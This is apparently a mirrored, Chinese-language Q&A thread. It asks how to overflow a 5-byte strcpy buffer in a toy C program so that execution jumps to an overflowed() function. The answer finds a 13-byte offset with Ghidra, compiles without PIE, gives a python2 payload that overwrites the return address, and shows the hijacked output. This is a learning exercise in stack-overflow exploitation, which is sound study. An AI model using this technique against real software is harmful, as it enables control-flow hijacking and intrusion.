利用缓冲区溢出如何在linux中使用gdb执行overflowed()函数?

问题描述 投票:0回答:1
#include <string.h>
#include <stdio.h>

void overflowed() {
    printf("%s\n", "Execution Hijacked");
}

void function1(char *str) {
    char buffer[5];
    strcpy(buffer, str);
}

void main(int argc, char *argv[]) {
    function1(argv[1]);
    printf("%s\n", "Executed normally");
}

你好..我正在尝试使用eip控制执行overflowed()函数,任何人都可以告诉我如何执行它以及如何计算两个地址之间的偏移量?

我计算了main和overflowed()之间的偏移量,在main中设置断点之前,我在main中设置了断点,然后使用偏移量+overflowed()的地址运行,这是行不通的。

c function stack-overflow buffer-overflow eip
1个回答
0
投票

您可以使用 gdb 或 ghidra 等工具找到到达 eip 的偏移量,我使用 ghidra 计算了覆盖

function1()
返回地址的偏移量,以下是方法

                             undefined function1()
             undefined         AL:1           <RETURN>
             undefined5        Stack[-0xd]:5  user_data                               XREF[1]:     0040115c(*)  
             undefined8        Stack[-0x20]:8 local_20                                XREF[2]:     00401154(W), 

我们可以看到用户数据距离返回地址有0xd(十进制为13)字节,因此我们需要提供13的填充,然后传递函数的地址

overflowed()
。 这将用函数的地址覆盖返回地址
overflowed()
,我们可以劫持控制流。

我像这样编译了二进制文件

gcc test.c -no-pie -o test                                             

我在gdb中找到了

overflowed()
函数的地址

0x0000000000401136  overflowed
0x000000000040114c  function1
0x000000000040116e  main

这是我制作有效负载的方法

python2 -c "print 13*b'a' + b'\x36\x11\x40' " > payload 

这是我得到的输出

./test $(cat payload)
Execution Hijacked
[2]    1994414 segmentation fault  ./test $(cat payload)

我希望解释很简单。

© www.soinside.com 2019 - 2024. All rights reserved.